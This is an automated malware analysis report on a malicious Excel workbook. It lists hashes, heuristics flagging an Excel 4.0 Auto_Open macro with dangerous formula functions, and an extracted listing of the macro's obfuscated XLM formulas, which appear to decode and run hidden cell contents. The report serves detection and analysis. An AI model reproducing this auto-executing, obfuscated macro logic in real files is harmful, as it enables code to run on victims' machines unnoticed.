Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 344ae9a4f6858161…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:43 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 52c5647f5bd29dd8dc77b44d3e6dcb56 SHA-1: 48564335e9cb6236b58aa9c79a3ddc8b36f6bf85 SHA-256: 344ae9a4f685816109d6dca833e27d3df3494beed9d664ea3ee20a3acae3eaa9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 001aa4e086f24d3bbd8594f58f457122f7fea07a6cc81b6edb3b3064eb5294d3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  isTUrOVUqn
' 0018     25 LABEL : Cell Value, String Constant - aEMjrTMYmF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G170 
' 0018     27 LABEL : Cell Value, String Constant - bWUvFuCJFyfj len=0 
' 0018     21 LABEL : Cell Value, String Constant - duXYRd len=0 
' 0018     20 LABEL : Cell Value, String Constant - eZuEY len=0 
' 0018     26 LABEL : Cell Value, String Constant - HzXAsixSzXz len=0 
' 0018     23 LABEL : Cell Value, String Constant - iDghihOK len=0 
' 0018     21 LABEL : Cell Value, String Constant - JJdgod len=0 
' 0018     22 LABEL : Cell Value, String Constant - JnFuPqU len=0 
' 0018     23 LABEL : Cell Value, String Constant - kEtPDnnJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - LANPC len=0 
' 0018     26 LABEL : Cell Value, String Constant - lOBMmQuheks len=0 
' 0018     25 LABEL : Cell Value, String Constant - MiVoiFPCVS len=0 
' 0018     21 LABEL : Cell Value, String Constant - RdutEl len=0 
' 0018     23 LABEL : Cell Value, String Constant - RhHZqHrt len=0 
' 0018     22 LABEL : Cell Value, String Constant - saTwPWZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - UfWhyyNDPI len=0 
' 0018     27 LABEL : Cell Value, String Constant - VEyQFdiEnHee len=0 
' 0018     22 LABEL : Cell Value, String Constant - vzcjhjB len=0 
' 0018     23 LABEL : Cell Value, String Constant - WIDQRMQD len=0 
' 0018     23 LABEL : Cell Value, String Constant - WZgtxQOM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  isTUrOVUqn,G89,"SET.NAME("bWUvFuCJFyfj",VALUE("0"))",""
'  isTUrOVUqn,G92,"SET.NAME("LANPC",bWUvFuCJFyfj)",""
'  isTUrOVUqn,G94,"SET.NAME("eZuEY",bWUvFuCJFyfj)",""
'  isTUrOVUqn,G96,"SET.NAME("WZgtxQOM",COUNTA(RhHZqHrt))",""
'  isTUrOVUqn,G98,"SET.NAME("lOBMmQuheks",COUNTA(aEMjrTMYmF))",""
'  isTUrOVUqn,G100,[],""
'  isTUrOVUqn,G103,"SET.NAME("MiVoiFPCVS","")",""
'  isTUrOVUqn,G107,"LANPC",""
'  isTUrOVUqn,G112,"SET.NAME("HzXAsixSzXz",HLOOKUP("*",RhHZqHrt,LANPC,FALSE))",""
'  isTUrOVUqn,G116,"VEyQFdiEnHee",""
'  isTUrOVUqn,G120,"SET.NAME("saTwPWZ",bWUvFuCJFyfj)",""
'  isTUrOVUqn,G122,[],""
'  isTUrOVUqn,G124,"saTwPWZ",""
'  isTUrOVUqn,G126,"JJdgod",""
'  isTUrOVUqn,G128,"RdutEl",""
'  isTUrOVUqn,G130,"vzcjhjB",""
'  isTUrOVUqn,G135,"SET.NAME("duXYRd",VALUE(HLOOKUP("*",aEMjrTMYmF,vzcjhjB,FALSE)))",""
'  isTUrOVUqn,G140,"WIDQRMQD",""
'  isTUrOVUqn,G145,"MiVoiFPCVS",""
'  isTUrOVUqn,G147,"eZuEY",""
'  isTUrOVUqn,G149,NEXT(),""
'  isTUrOVUqn,G151,"JnFuPqU",""
'  isTUrOVUqn,G155,"SET.NAME("f",INT(T(FORMULA(T(MiVoiFPCVS)&"",""&T(JnFuPqU)))))",""
'  isTUrOVUqn,G159,"UfWhyyNDPI",""
'  isTUrOVUqn,G161,NEXT(),""
'  isTUrOVUqn,G166,RETURN(),""
'  isTUrOVUqn,G194,"SET.NAME("iDghihOK",G89)",""
'  isTUrOVUqn,G198,"RhHZqHrt",""
'  isTUrOVUqn,G200,"SET.NAME("aEMjrTMYmF",R59C12)",""
'  isTUrOVUqn,G205,"SET.NAME("UfWhyyNDPI",211)",""
'  isTUrOVUqn,G208,"SET.NAME("kEtPDnnJ",7)",""
'  isTUrOVUqn,G210,iDghihOK(),""
'  isTUrOVUqn,G211,HALT(),""

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